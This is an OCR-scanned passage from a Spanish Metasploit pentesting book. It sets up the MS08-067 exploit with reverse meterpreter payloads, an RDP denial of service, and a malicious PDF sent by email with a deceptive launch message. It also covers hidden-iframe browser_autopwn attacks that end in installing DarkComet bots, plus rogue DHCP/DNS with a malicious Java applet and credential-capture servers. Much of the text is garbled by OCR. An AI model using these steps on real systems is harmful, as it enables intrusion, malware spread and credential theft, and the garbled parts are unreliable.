msf > use exploit/windows/smb/ms98_ 967_netapi
msf exploit(11s98_867_netapi) > show options
Exploit target:
Id Name
e Automatic Targeting
PAYLOAD =
msf exploit(11s98_967_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
windows/meterpreter/reverse tcp
msf exploit(11s88_867_netapi) > set RHOST 192.168.1.37
RHOST ;:, 192.168. l. 37
Fig 3 .03: Carga del exploit y configuración del módulo.
Una vez cargado el módulo, si se ejecuta show options se muestran las variables para configurar el
exploit. En este ejemplo, se configura la variable RHOST para indicar cuál es la máquina objetivo.
Además, se debe indicar en la variable PAYLOAD cuál de ellos se quiere ejecutar. Una vez indicado
el payload si se vuelve a ejecutar el comando show options se puede observar como aparecen,
además de las variables de configuración del exploit, las variables de configuración del payload.
Exploit target:
Id Na e
Automatic Targeting
•••
Metasploit para Pentesters
conectar mediante la variable LHOST, es decir, a la dirección IP del atacante o de un servidor que
recoja las conexiones que se encuentre bajo el control del atacante.
Por otro lado, se podría haber utilizado un payload con conexión directa, bind. En ese caso, en vez
de aparecer la variable LHOST en la configuración del payload, aparecería la variable RHOST,
que debe ser la dirección IP de la máquina a la que se quiere acceder. Hay que recordar que en un
payload de conexión directa, es el auditor quién se conecta a la víctima. Tras el lanzamiento del
exploit, se deja en un puerto a la escucha, por ejemplo, una shell, y es entonces el auditor quién se
conecta a ese puerto dónde espera la shell remota.
Conexión Inversa
l. Auditor laou e.xploit
2. Ejecución de código en máquina remota
3. El payload se conecta a la dirección que se configuró en
la variable LHOST
Conexión Directa
El comando check permite verificar si el equipo remoto es vulnerable al módulo cargado, por esto,
antes de lanzar el exploit se puede utilizar este comando para verificar la vulnerabilidad. Una vez
verificada se lanza el comando exploit, y se obtiene la sesión remota, en este caso de meterpreter.
•••
Capitulo 111. El arte de la intrusión Mil
securitylbulletin/msl 2-020. La máquina objetivo en el siguiente escenario será un Windows 7 con
SPl de 64 bits. También son posibles targets las siguientes versiones de los sistemas operativos XP,
2003, 2008 ó 2008 R2.
En primer lugar, la víctima debe disponer de una configuración concreta de su servicio de escritorio
remoto. Como se puede visualizar en la imagen existen 3 opciones en Windows 7, lógicamente, si no
se permiten conexiones no se podrá realizar la denegación de servicio, y por otro lado, si se configura
que sólo se permitan las conexiones desde equipos que ejecuten escritorio remoto con autenticación
a nivel de red tampoco. Por lo que si la víctima dispone de la configuración permitir conexiones
que ejecuten cualquier versión de escritorio remoto, puede ser vulnerable si no ha actualizado con
la corrección de la vulnerabilidad.
Escfiorio remoto
Haga cic en una opción y después especf¡que quién puede
conectarse, si fuera necesario.
No panü las conexiones a este �
t) Perrn.nr los conexiones desde e�s (1.le ejecuten
cualqtierversión de Escritorio remoto vnen<)s seguro)
@ Pennitir sóJo las conexioneS desde equipos que ejecuten Escritorio
remoto cc,n Ptlterticación a nivel de red ynás seguro)
Hatching Modules
•••
WIW Metasploit para Pentesters
Una vez se dispone del módulo en elframework se accede a él y se configura, de manera sencilla,
el equipo remoto al que se quiere denegar el servicio. Si todo va bien, se obtendrá un mensaje que
enuncia seems down. Si la máquina a auditar dispusiera de un servicio de escritorio remoto en otro
puerto que no sea el de por defecto, se puede utilizar la variable RPORT para indicar cual es el puerto
que se está utilizando.
A problem has been detected and ·w·indows has been shut down to prevent darnage
to your computer.
P.DP'1•iD. SYS
PAGE_F.A.ULT_IM_NONPAGED.Y,.REA
If this is the first time you've seen this S-top error screen,
restart your computer. If this screen appears again, follaw
these steps:
Esta técnica consiste en crear, ya sea un fichero, un servicio, o una aplicación, con fines maliciosos
con el objetivo de obtener acceso a la máquina de la víctima, ya sea por red local o por Internet.
•••
Capítulo JI!. El arte de la intrusión Mil
Metasploit ayuda mucho en este tipo de ataques y en este apartado se demostrará la flexibilidad a la
hora de pensar en un ataque de este tipo.
A continuación se proponen distintos escenarios y pruebas de concepto con los que el lector puede
asimilar la técnica y los conceptos de manera sencilla y rápida.
En este ejemplo se ha decidido explotar esta vulnerabilidad debido a que afecta a los archivos PDF,
muy utilizados en Internet, y a una de las herramientas que disponen la mayoría de los usuarios para
visualizar este tipo de archivos. Existen otras vulnerabilidades de este tipo, comúnmente conocidas
corno FileFormat, en el que se pueden crear documentos ofimáticas de aplicaciones muy utilizadas
como Word o Excel, o archivos de listas de reproducción de iTunes, cuyos fines son maliciosos.
Una de las vías de distribución de este ataque sería, por ejemplo en el contexto de una gran empresa,
el correo electrónico. Mediante la utilización de un servidor de correo electrónico se podría hacer
llegar este tipo de archivos a toda una organización y con alta probabilidad habría usuarios que
ejecutarían estos archivos. Otra de las vías, sería colgar estos archivos en foros, blogs, sitios web
bajo el control del atacante, etcétera. Como siempre, todo depende de la imaginación del atacante y
de la calidad de su ingeniería social.
El escenario que se propone en esta prueba de concepto es que un atacante prepara un documento
PDF en el cual se inyecta un payload de tipo Meterpreter. Este archivo utilizará una plantilla, es
decir, un documento PDF real que será el que se visualizará cuando la víctima lo ejecute. Además,
cuando la víctima lo ejecute, si su aplicación Adobe Reader es vulnerable se ejecutará el payload. El
atacante realizará la distribución mediante el uso del correo electrónico, como archivo adjunto. El
atacante deberá cargar el módulo exploit/multilhandler para recoger las distintas conexiones que se
obtengan por las explotaciones realizadas con éxito mediante el archivo PDF malicioso.
•••
_,, Metasploit para Pentesters
Una vez modificado el script se debe arrancar msfconsole y se podrá utilizar el nuevo módulo
modificado. En la siguiente tabla se pueden visualizar algunos parámetros interesantes a configurar
tras la carga del módulo adobe_ydf_embedded_exe.
Parámetro Valor
EXENAME Nombre del ejecutable del payload, si no se indica se autogenera uno.
FILENAME Se indica el nombre que recibirá el PDF malicioso.
Se indica la ruta donde se encuentra el PDF real que se utilizará para
INFILENAME
mostrar a la víctima.
Mensaje que visualizará la víctima, el cual si ejecuta se realizará la
LAUNCH-MESSAGE
explotación. Debe ser un mensaje creíble.
Tabla 3.01: Configuración del módulo adobe__pdf_embedded_exe.
EXENAME
no The Name of payload exe.
FILENAME evil. pdf
no The output filename.
INFILENAME /root/Desktop/miPlantilla. pdf
yes The Input PDF filename.
LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this message again
" box and press Open. no The message to display in the File: area
OUTPUTPATH Iroot
yes The location of the file.
Fig 3.10: Configuración para la creación del PDF malicioso.
Además, hay que configurar el parámetro PAYLOAD, en este ejemplo se ha utilizado set PAYLOAD
windows/meterpreterlreverse_tcp. Indicando a qué IP se tiene que conectar elpayload.
Una vez configurado se ejecuta el comando exploit y se genera el fichero PDF malicioso. Se puede
empezar la distribución mediante el correo electrónico, pero a la vez se debe estar preparado para
recibir las conexiones o sesiones remotas. Para ello se carga en msfconsole el módulo exploit/multi/
handler. Este manejador sirve para que cuando la víctima ejecute el archivo y el payload realice
la conexión inversa al atacante, este módulo gestionará este proceso dando acceso al atacante a la
•••
máquina remota.
Capítulo 111. El arte de la intrusión Mii
Este módulo se configura de manera sencilla, simplemente se debe indicar que tipo de payload se
espera y cul es la dirección IP local, es decir, a la que el payload se va a conectar.
Una vez que las posibles víctimas han abierto el correo, han ejecutado el archivo PDF y disponen de
una versión de la aplicación vulnerable se muestra un warning al usuario. Es por ello que el mensaje
que se introduzca en el parámetro LAUNCH_MESSAGE es importante que sea creíble, un toque
de ingeniería social. El usuario pulsa sobre open y se estará ejecutando el payload en la máquina de
la víctima.
File: 1 _,
prueba de i64 con un pdf maligno! �I
La explotación devuelve una consola de Meterpreter y el usuario o víctima puede seguir visualizando
el PDF, el cual muestra el contenido de la plantilla utilizada para crear el PDF malicioso.
•••
FM Metasploit para Pentesters
y muy conocido como reversemode, sacó a la luz pública esta vulnerabilidad y su correspondiente
exploit el cual permitía a un atacante ejecutar código arbitrario en las versiones XP de Windows con
SP3. Esta vulnerabilidad se encontraba escondida en QuickTime Player y llevaba 9 años ahí. La
vulnerabilidad se debe a un parámetro denominado _Marshaled_p Unk, en el visor de QuickTime
que se utiliza para cargar elementos desde la ventana. Según comentaba Rubén Santamarta, cuando
publicó su exploit en el artículo http://www.reversemode.com/index.php? option =com_content&task
=view&id=69&1temid=1, parece que alguien se olvidó de limpiar esta funcionalidad.
El día después de que Rubén liberase este Oday que afectaba a las últimas versiones de QuickTime,
por aquel entonces la 7.6.6 y la 7.6.7, los desarrolladores de Metasploit liberaron un módulo para el
framework.
Otro método interesante es interceptar el tráfico de las víctimas, encontrándose en la red local del
atacante y redirigirla hacia el recurso malicioso. Quizá uno de los métodos más interesantes, y que
es muy utilizado en el mundo real para distribuir malware, es disponer de una serie de páginas
hackeadas a las que se coloca un iframe transparente que apunta hacia el recurso malicioso. En
este caso cuando la víctima entra a la página web real, su navegador carga el iframe, el cual apunta
hacia el recurso malicioso y se puede llevar a cabo la explotación, sin más interacción por parte de
la víctima que el simple acceso a un sitio web.
Exploits
Fig 3.14: Carga del módulo marsha/ed_yunk para Apple QuickTime 7.6. 7.
Tras buscar marshaled en elframework se carga el módulo y se prepara el entorno para que cuando
el cliente realice la petición y ejecute la aplicación vulnerable, client side attack, el exploit realice el
trabajo y devuelva el control de la máquina remota.
•••
Capítulo 111. El arte de la intrusión Mil
cXplOH ,arge,:
Id Name
La configuración es sencilla, se deben asignar valores a las variables o a los parámetros siguientes:
Parámetro Valor
SRVHOST La dirección IP dónde se implementa el recurso malicioso o exploit.
Se debe indicar el puerto que quedará a la escucha, para simular un recurso
SRVPORT
web es importante asignarlo en el 80.
Recurso al que se quiere acceder. En el ejemplo se indica /juegos, pero
URIPATH
bastaría con/.
PAYLOAD Se debe indicar el payload a ejecutar en la máquina vulnerable.
Tabla 3.02: Configuración del módulo marshaled_punk.
•••
Metasploit para Pentesters
Pueden llegar peticiones de muchas víctimas, en función del método de distribución que se haya
realizado, cuantas más peticiones lleguen mayor probabilidad de éxito. Aunque un concepto debe
quedar claro y es que cuando se descubrió esta vulnerabilidad y fue liberada por Rubén Santamarta,
era un Oday por lo que no existía actualización que parchease el fallo. Lo importante del concepto
es ver y entender los peligros que disponen las aplicaciones no actualizadas y los fabricantes que no
son rápidos ante las salidas de los temidos Oday.
- --
en auge y que los dispositivos móviles son un objetivo ya atacado. Además, en infraestructuras
importantes se han descubierto vulnerabilidades críticas y el número de agujeros de seguridad
descubiertos por año sigue siendo un número muy alto.
Almx:ÚtOMeH!;:SceK.
lia441'JO: ;:J K"""" D
CTATMCTitlCA CTPAlti
""'"'
Xoctblt
ª"""""""
"'92 323
""
1D36 lJ3
13.69% w 93
,,.
3Ac.éro,QH$1 othera,u,ll'y
29045:Gml 25463xocn,i 34873ArPY3I04 - l•I Mtttwa,Rep,t:ic:of350
� !!!!!G«manf 311 17
6PAY3El'bl ::¡:Israel
º""""'
xocr
.. , 1D
• PIJF •
fJ °"""',
""
211D
0.00
• JavitOES) 20.69
"""'
.. \vndowsXP 36451 31012 6137 19.77 • MJAC > 0.01
fJ
"" '·"
\'mdows 7 20056
"""'"'
1004 s.01•
e Wndows�bl .,,18 3619
OOTOIOI
13.n
"""""'
5! Wniows2003 Stream�l > 63941 53177 7293
.,,
187 171 18 10.53
!!l!Wndows2000 0.00
LS.00
�-"'
!l"""'
w+;;;;;;;w
168 llS L71.
so.oo
1f. Macos 192 112 0.00
�-"'
,,i-,s o.oo
0.00
BladdMIAe v.1.0.0
•••
Capítulo 111. El arte de la intrusión
MI
Una de las vías más importantes para la distribución de malware son los sitios web, utilizando un kit
de explotación, como puede ser Black Hale, Eleonore o Phoenix Exploit. Estos kit de explotación
disponen de gran cantidad de exploits públicos y, si se paga lo suficiente en el mercado underground,
de exploits privados. Dichos exploits privados proporcionan al atacante una ventaja sobre muchos de
los usuarios que caerán en sus redes con fines maliciosos.
Además, disponen de paneles que aportan facilidad de uso y gran información. Muchos de ellos
ofrecen estadísticas de los navegadores explotados, los países de las víctimas, porcentaje de éxito,
exploits que más acierto han tenido, el sistema operativo más explotado, etcétera.
El proceso no es trivial pero una vez estudiado no es de gran complejidad. La idea es que el atacante
selecciona las víctimas a través de un programa automático que busca patrones en los buscadores
como Google o Bing. Una vez se obtiene la lista de sitios que son vulnerables, se realizan ataques
SQL Injection a todos ellos, cuyas inyecciones están preparadas para introducir código malicioso en
la página web. El código malicioso que se introduce carga el contenido de una dirección que será
dónde se encuentre el kit de explotación. De este modo, cuando un visitante navegue por el sitio web
vulnerado será atacado con un exploit que tratará de ejecutar un malware en su máquina.
Como ejemplo de un hecho real se muestra a continuación uno de los varios ataques sufridos por la
web de Apple. También hay que decir que Apple ha trabajado siempre de manera rápida para limpiar
toda referencia a sitios web maliciosos. En la imagen se puede visualizar como se inyectó un iframe
que referenciaba al sitio web malicioso en el interior del sitio web de Apple. El sitio al que se referían
era al dominio nemohuildiin.ru, pero la víctima podría no detectar ninguna acción extraña ya que si
el iframe fuese transparente no se visualizaría nada extraño.
Buik:1 FOf Change Oigest<iframe src="http://nemohuildiin.ru/tds/go ... i:! -1 Traducn esta pagina J
Download or subscribe to free podcast episodes from Build For Change OigesL
itunes_appe comlus/podcast/..Jid2935590-H -Estados UnKlos - En caché
Chanqe- Dovmoad free podcast episodes bv Scherkenbach on iTunes.-{:¡ -1 Traduór esta págma J
Build For Change Digast<iframe src=i-rttp://nemohuildiin.rultds/go.php?sid=1. width="O·
hetght=-o• style="display.nooe9><frframe>; [email protected] ...
!tunes aoole comlkz/oodcasU..Jíd105615229 -Estados Unidos - En caché
El escenario dispone de 2 máquinas, una será el atacante con un equipo Windows XP SP3 que dispone
de un servidor WAMP el cual ofrecerá una página web maliciosa, simulando un sitio hackeado, dicha
página web dispondrá de un iframe transparente que referencia a una máquina donde se encuentra el
módulo browser_autopwn esperando para lanzar los exploits. En el escenario el módulo se encontrará
en un Metasploit en la misma máquina del WAMP, es decir, en la máquina del atacante. P or otro
lado, se dispone de una máquina que será la de la víctima, corriendo un Windows XP SP3, en la
•••
Metasploit para Pentesters
que simulando una navegación hacia la web hackeada y que ha sido modificada con la inyección
del iframe malicioso será vulnerada por esta técnica. Una vez que se obtenga el control remoto de
la máquina de la víctima se realizará la distribución de malware, en esta prueba de concepto se
utilizará DarkCommet. La distribución y ejecución de malware se realizará a través de la consola de
Meterpreter. Con este método se pueden obtener gran cantidad de máquinas troyanizadas, pudiendo
ser parte de una botnet simplemente por navegar por sitios hackeados.
La máquina del atacante dispone de la dirección IP 192.168.0.56, en ella se aloja el sitio web malicioso
y el módulo de Metasploit. La máquina de la víctima dispone de la dirección IP 192.168.0.57 para
la siguiente prueba de concepto.
En primer lugar, se ha instalado un servidor WAMP en la máquina del atacante y en la ruta wamp/
www se ha colocado un sitio web que simula la página real que se encontraría hackeada. La página
web puede ser clonada con distintas herramientas, por ejemplo Teleport. Hay que dejar el módulo,
de tipo auxiliary, browser_autopwn preparado para recibir las conexiones y que pueda lanzar los
exploits. La configuración se puede visualizar en la siguiente tabla.
Parámetro Valor
LHOST La dirección IP para las conexiones inversas de los payload.
SRVPORT Se debe indicar el puerto por el que escuchará el módulo. 8080 es una buena opción.
URlPATH Recurso al que se quiere acceder. En el ejemplo se indica/.
Tabla 3.03: Configuración del módulo browser_autopwn.
Una vez que se dispone del módulo a la espera de recibir conexiones en el puerto 8080, se debe
tener en cuenta que la web maliciosa debe cargar un iframe transparente que referencie en su campo
src a dónde se encuentra el módulo browser_autopwn. Para simular la inyección de código, como
ocurriría en un ataque real, se edita el sitio web y se coloca el iframe como se puede visualizar en
la imagen.
Ahora solo queda esperar a que la víctima se conecte a la página web maliciosa y tras cargar su
contenido, también cargará el iframe que realizará la petición a la dirección http:l/192.168. O. 56: 8080.
•••
Capítulo 111. El arte de la intrusión M:fi
Generalmente, en un ataque real, esta petición se realizaría a un dominio público adquirido para
distribuir malware o que también ha sido comprometido y dispone de un kit de explotación detrás.
Para hacer más real la simulación se ha utilizado el sitio web de un congreso de tecnología, y se ha
modificado el archivo hosts de la víctima para que cuando se introduzca la dirección real se cargue
la web que sirve el atacante. Se entiende que en un ataque real esto no se llevaría a cabo así.
Una vez que la víctima navega por el sitio web y el iframe oculto hace su trabajo, el módulo de
Metasploit recibirá la petición y lanzará los exploits disponibles para esa versión del navegador. Una
vez que Metasploit empieza a realizar este trabajo sólo queda esperar a conseguir la sesión inversa.
•••
M:fW Metasploit para Pentesters
Una vez la máquina ha sido troyanizada, DarkCommet se conectará con el atacante automáticamente.
En la generación de un bot de DarkCommet se debe especificar, al menos una dirección que será
donde se conecte el bot dando el control de la máquina. El atacante dispondrá de un nombre de
dominio, por ejemplo un dyndns, para no utilizar las direcciones IP dinámicas. Aunque, si el atacante
dispone de una dirección IP estática también podría usarla.
X
- ·--· -
;;:-:·- * Dar... ES �
La automatización de las tareas a realizar en Metasploit es un proceso que puede ayudar al auditor a
minimizar tiempos. Como se ha mencionado anteriormente, en un test de intrusión existe gran parte
de procedimiento, el cual en condiciones normales es siempre igual, y una parte menor que depende
de la experiencia o pericia del auditor, la parte más artística.
Los resource scripts son tratados por elframework como templates ERB al permitir la ejecución de
bloques de instrucciones en Ruby, desde los cuales se podrá interactuar con la API de Metasploit,
REX. Existen algunos re que vienen por defecto en Metasploit en la ruta /pentest/exploits/
framework3/scripts/resource.
Con los scripts que vienen por defecto con elframework se puede realizar la mayoría del trabajo
de recopilación de información del entorno a auditar. A continuación se estudia uno de los scripts
que vienen por defecto y que es realmente interesante y útil a la hora de descubrir servicios y de
recolectar información.
•••
Capítulo 111. El arte de la intrusión 1:11
Ejemplo: Descubrimiento básico
En este apartado se entra en detalle en la descripción del script basic_discovery.rc que se puede
encontrar en la ruta lpentest/exploits/framework3/scriptslresource. Este script sirve para conseguir
obtener información sobre máquinas y servicios disponibles utilizando nmap y otros módulos
auxiliares, algunos de los vistos anteriormente en este libro, para protocolos smb, imap, pop, http,
ftp, etcétera.
A continuación, mediante el uso del comando cat <script.rc> more se va a analizar el script. Hay
1
que tener en cuenta que se puede personalizar en función de las necesidades editando, simplemente,
el archivo re original mediante algún editor de textos.
Lo primero que se puede observar en la imagen es la declaración de una variable denominada ports
que contiene todos los puertos que serán analizados en busca de servicios. El auditor puede modificar
el rango, ampliando o disminuyendo el número. Un concepto muy interesante es el datastore el cual
almacena las variables que se configuran en msfconsole, por ejemplo RHOSTS, LHOST, RPORT,
etcétera.
Para interactuar desde el interior del script con estas variables delframework se utiliza la sintaxis
framework.datastore['<nombre variable>'}. En el script se puede observar como se hacen
comparaciones mediante el uso de condicionales if para poder verificar que antes de lanzar el script
se configuraron las variables.
En el caso de la variable NMAPOPTS, define las opciones con las que se ejecutará nmap, si no está
declarada dicha variable en el datastore se declarará en el script con unos parámetros por defecto,
tal y como se puede ver en la imagen.
#set ports for Hetasploit portscanner (change this for your needs):
ports = "7,21,22,23,25,43,59,53,67,68,79,89,199,119,lll,123,135,137,138,139,143,161,264,265,389,
443 ,445,599,631,991,995,1241,1352,1433,1434,1521, 1720,1723,3306,3389,3780,4662,5890,5801,5802,58
93,5989,5901,5992,5993,6999,6666,8889,8988,8443,10800,10043,27374,27665"
if (framework.datastore['RHOSTS'] � nil)
print line("you have to set RHOSTS globally ... exiting•J
returñ
end
if (framework.datastore['NHAPOPTS' J != nil)
nmapopts = framework.datastore[ 'NHAPOPTS']
else
#default-settings
nmapopts = "-PN -Pe -o -ssv·
end
Fig 3.25: Parte de código del script basic_discovery.rc.
Para la ejecución de módulos, tras la configuración de variables, o incluso para configurar variables
desde el interior del script se dispone de la sentencia run_single. Para asignar un valor a una variable
de1.framework, es decir no local al script, como por ejemplo RHOSTS se utiliza run_single("setg
<variable> <valor>"). Para ejecutar una sentencia en elframework desde el script sería similar a
lo anterior run_single("db_nmap -v -n #{nmapopts} #{framework.datastore['RHOSTS'}}"). Las
variables se especifican mediante el uso de# {variable}.
•••
'*'
if ( nmap = 1)
Metasploit para Pentesters
Existe una función en el script que verifica si el auditor se encuentra conectado a la base de datos,
dónde se almacenará toda la información obtenida con el script. Si no se está conectado a la
base de datos el script mostrará un mensaje por pantalla indicándolo y se acabará la ejecución de
instrucciones.
•••
Capítulo 111. El arte de la intrusión
Uno de los errores más comunes es la no configuración de las variables en elframework antes de
'*'
lanzar el script, ya que puede que éste las requiera previamente configuradas, por otro lado, otro de
los errores comunes es la no conexión a la base de datos cuando el script lo requiere.
A continuación el ejemplo que se muestra es bastante sencillo e intuitivo, pero queda reflejado el
potencial y flexibilidad que disponen los resource scripts para la automatización de tareas comunes.
En el presente ejemplo se utiliza un re para, simplemente, automatizar el proceso de configuración
del manejador de conexiones de los payload, es decir, exploit/multilhandler.
echo use exploit/multi/handler >> meterpreter.rc
echo set PAYLOAD windows/meterpreter/reverse tcp >> meterpreter.rc
echo set LHOST 192.168. 0.100 >> meterpreter . rc
echo set ExitOnSession false >> meterpreter.rc
echo exploit -j -z >> meterpreter.rc
Para lanzar este script existen distintas maneras, como por ejemplo, en una línea de comandos
ejecutar msfconsole -r meterpreter.rc, o desde una sesión de msfconsole mediante el comando
resource meterpreter.rc.
•••
Metasploit para Pentesters
6. Servidores Rogue
Metasploit dispone de unos módulos de tipo auxiliary muy interesantes que permiten al auditor
levantar un servidor, en menos de un minuto, el cual ofrece un servicio totalmente falso. El objetivo
de este tipo de servidores es la captura de credenciales o ejecución de código arbitrario mediante
el engaño en la máquina remota. Los engaños pueden ir desde simples redireccionamientos
a direcciones IP dónde en un puerto concreto espera el servicio malicioso, hasta un complejo
entramado de servicios, que aparentemente realizan lo que deberían para terminar con la explotación
de la máquina de la víctima.
La ruta dónde se aloja en elframework este tipo de módulos es auxiliary/server! En esta ruta se
puede encontrar un directorio capture dónde se almacenan módulos cuyo objetivo principal es la
captura de credenciales y, otros elementos de interés como las cookies. A continuación se muestra
información sobre los módulos serverlcapture.
•••
Capítulo JI!. El arte de la intrusión i!fi
Módulo auxiliary Descripción
Permite configurar un servidor HTTP para capturar credenciales de
server/capture/http
autenticación.
s e r v e r/capture /
Permite configurar un servicio POP3 falso para capturar credenciales.
p op3
s e r v e r!capturel Permite configurar un servicio SMTP para capturar credenciales de
smtp autenticación.
s e r v er/capture / Permite configurar un servidor de telnet para realizar el engaño y obtener
telnet las credenciales.
Tabla 3.04: Módulos auxiliarylserverlcapture.
Existe la posibilidad de descargarse más exploits que proporcionan funcionalidades similares con
otros servicios. Es muy interesante disponer a mano de este tipo de herramientas.
Las otras herramientas interesantes son las auxiliary/server dónde se dispone de distintas
funcionalidades que, ya sea en solitario o unidas, pueden provocar gran terror en la red.
El escenario está compuesto por una red, que podría ser una red wireless o una red corporativa
cableada, dónde el atacante configurará un rogue DHCP con el que se buscará que los clientes
obtengan una dirncción IP de un rango concreto, una dirección IP de un servidor DNS controlado por
el atacante y una dirección de puerta de enlace, que también podría ser la dirección IP del atacante
por lo que se podría monitorizar el tráfico para obtener cookies o credenciales.
•••
l:J:I Metasploit para Pentesters
Además se configura un servicio web dónde al realizar la conexión se lanzará un applet de java
con intenciones maliciosas. Este servicio será referenciado por una página web que simulará un
portal cautivo y que realmente redirigirá al servicio web dónde se lanzará el applet malicioso .
Esta página se encuentra alojada en un servidor Apache que escucha peticiones en el puerto 80, al
llegar la petición se muestra la página del portal cautivo que poco después redirigirá a la dirección
URL dónde se encuentra configurado el servicio del applet., Cuando el usuario o víctima acepte la
ejecución del applet, realmente se estará ejecutando un payload que devolverá una sesión inversa,
en este caso un meterpreter.
Parámetro Valor
DHCPIPEND 192.168.0.105.
DHCPIPSTART 192.168.0.100.
La dirección IP donde se encuentra el DNS, por ejemplo, máquina del
DNSSERVER
atacante . 192.168.0.61.
NETMASK 255.255.255.0.
La dirección IP de la puerta de enlace, podría ser la máquina del atacante para
ROUTER
monitorizar tráfico . 192.168.0.61.
SRVHOST La dirección IP dónde se lanza el Rogue DHCP. 192.168.0.61.
Tabla 3.05: Configuración Rogue DHCP
•••
Capítulo !JI. El arte de la intrusión 1001
Podría ser interesante agotar las direcciones IP disponibles en el pool del DHCP original que existe
en la misma red, si existiese alguno. Llegado este punto, los clientes que se conecten a la red recibirán
direcciones IP otorgadas por el servidor DHCP falso, además de lo más interesante, la dirección IP
del servidor DNS y de la puerta de enlace que se quiera.
Es el momento de configurar el servidor DNS falso, para ello se carga el módulo auxiliary/server/
fakedns. El funcionamiento defakedns es sencillo, con la variable DOMAINBYPASS se configura
una lista de dominios para los que las resoluciones no serán falseadas, SRVHOST es la variable
dónde se configura la dirección IP dónde se monta el servidor DNS falso, la del atacante en este
caso. Tras lanzar el módulo, en el ejemplo, cuando la víctima pida resolver cualquier nombre de
dominio, excepto Google porque así está configurado, se resolverá con la dirección IP del atacante
dónde espera el servidor Apache.
DOMAINBYPASS www.google.com yes The list of domain names we want to fully resolve
SRVHOST e.e.e.e yes The local host to listen on.
SRVPORT 53 yes The local port to listen on.
TARGETHOST no The address that all names should resolve to
Una de las víctimas, la cual obtuvo las direcciones IP por el DHCP falso, realiza una petición a www.
apple.com. El servidor DNS falso resuelve esta petición devolviendo la dirección IP de la máquina
del atacante, 192.168.0.61. La máquina de la víctima, realiza la petición al atacante al puerto 80,
dónde se encuentra un archivo index.html con el siguiente código:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE>Captive Portal</TITLE>
</HEAD>
<BODY>
Captive Portal<br />
<script type="text/javascript">window.location = "http://www.apple.com:8080/
portal" </script> <!-- Arbitrary Redirect -->
</BODY>
</HTML>
•••
w:,, Metasploit para Pentesters
El módulo del applet de java se configura con los valores que se especifican en la siguiente tabla.
Parámetro Valor
SRVHOS T 192.168.0.61 (IP atacante).
SRVPORT 8080 (puerto escucha servicio).
URIPATH /portal.
PAYLOAD Windows/meterpreter/reverse_tcp.
Tabla 3.06: Configuración módulo applet de java.
Se podría evitar la utilización del servidor Apache y utilizar directamente el módulo del applet, pero
es recomendable utilizar SET, social engineering too/kit, y poder utilizar alguna página web falsa
para hacer más creíble el ataque. SET será estudiado más adelante en el libro.
L a redirección de la web del portal cautivo hacia el servicio web montado por el módulo de
Metasploit se visualiza en el navegador de la víctima mediante la aparición del applet y la carga de
Java en el sistema.
Si el usuario acepta el cuadro de diálogo del applet se produce la ejecución del payload provocando
la obtención de una sesión inversa por parte del auditor o atacante.
Nombre: Siteloader
Editor: DESCONOCIDO
De: http://www.apple.com:8080
Ejecutar J I Cancelar
•••
Capítulo 111. El arte de la intrusión Mil
[*I Building statically signed jar for 192.168.0.183
[*J Sending Siteloader.jar to 192.168.8.103:1368. Waiting for user to click •accept' ...
[*l Sending stage (749856 bytes) to 192.168.8.183
a
[*l Meterpreter session 1 opened (192.168.0.61:4444 -> 192.168.8.183:1370) at 2012-06-25 18:41:4
+0200
�ctive sessions
FakeDNS ha sido muy utilizado por José en sus auditorías y propuso una mejora a este módulo,
la cual realmente se ve reflejada en 2 aspectos, la lógica y su eficiencia. José se ha declarado un
enamorado de Metasploit, debido a su flexibilidad y potencial. FakeDNS se encuentra en la ruta/
pentest/exploits/framework3/modules/auxiliary/server!fakedns.rb.
En la prueba de concepto anterior se ha podido estudiar como FakeDNS utiliza una lógica inversa
a lo común, es decir, se resuelven todos los nombres de dominio de manera falsa, excepto una lista
que se indica. Es por esto que José planteó una nueva solución al módulo, lo lógico sería utilizar
el módulo fakeDNS para que resolviera todo correctamente, como haría un DNS, y que el auditor
eligiese que dominio se spoofea.
•••
WJW Metasploit para Pentesters
En el código existe un punto en que se recorre la lista de dominios que deben ser saltados a la hora de
falsear la respuesta DNS. Mediante el bucle que se ve en el código se compara la petición DNS con
los elementos de la lista DOMAINBYPASS, si alguno son iguales entonces se realiza una resolución
normal, mientras que si tras recorrer la lista y comparar los elementos no se ha encontrado ninguno
igual se envía la respuestafake.
Si se requiere cambiar el comportamiento del DNS se podría pensar en una solución rápida como es
modificar el primer ifpor la siguiente línea if (name.to_s <=>ex)!= O. Con esta solución, cuando
el nombre solicitado se encuentre en la lista se resolverá confake y cuando no lo esté funcionará
normal. Sólo tiene una limitación y es que en la variable DOMAINBYPASS sólo se podrá configurar
un nombre de dominio, y no más.
La solución anterior puede ayudar en un momento dado de una auditoría , pero cuando se le introduce
un nombre de dominio que no existe, el módulo deja de funcionar y se rompe. Para solucionar este
problema, se debe añadir un control de excepciones en la zona de código en la que se realiza el
proceso de resolución.
begin
ip = Resolv: :DNS.new() .getaddress(name) .to s
answer = Resolv::DNS::Resource::IN::A.new( ip
rescue ::Exception => e
next
end
Con el control implementado se evita que cuando se intente resolver un nombre de dominio que no
existe el módulo se rompa. Pero, según José, sigue siendo una solución un tanto especial, aunque sí
es funcional.
Para finalizar con una solución elegante y eficiente, José Selvi implementó su propia versión de
FakeDNS a la que denominó BestFakeDNS, la cual se puede descargar desde el siguiente enlace
http://tools.pentester.es/fakedns. Esta versión está basada en la original delframework, pero se han
añadido funcionalidades interesantes:
La variable TARGETACTION con la que se evita modificar a mano el código y permite
trabajar con la lógica original o la lógica modificada. Este parámetro se puede definir como
BYPASS, el DNS resolverá todo excepto lo que se quiera spofear, ó FAKE, el cual falseará
todas las peticiones menos las especificadas en la lista DOMAINBYPASS.
Control de errores el cual evita que la aplicación caiga ante la petición de un nombre de
dominio que no existe.
Lista múltiple que permite configurar varios nombres de dominio en la lista, tanto en
modo BYPASS como en modo FAKE.
Wildcard. Se puede definir nombres de dominio con wildcards, por ejemplo
*.informatica64.com.
•••
Capítulo JI! El arte de la intrusión Mii
7. Personalización y actualización del framework
Una característica interesante de Metasploit es la flexibilidad y facilidad de actualización del
framework. Los usuarios saben que la seguridad informática es una de las ramas que más avanza,
ya que prácticamente a diario salen gran cantidad de vulnerabilidades conocidas. Es por esto que
el auditor debe disponer de suframework lo más actualizado posible y al día, para que en los test
de intrusión que haga uso de Metasploit éste pueda sacar el máximo provecho de los sistemas
informáticos a los que se enfrenta.
root@bt:-# msfupdate
[*]
[*] Attempting to update the Hetasploit Framework...
[*]
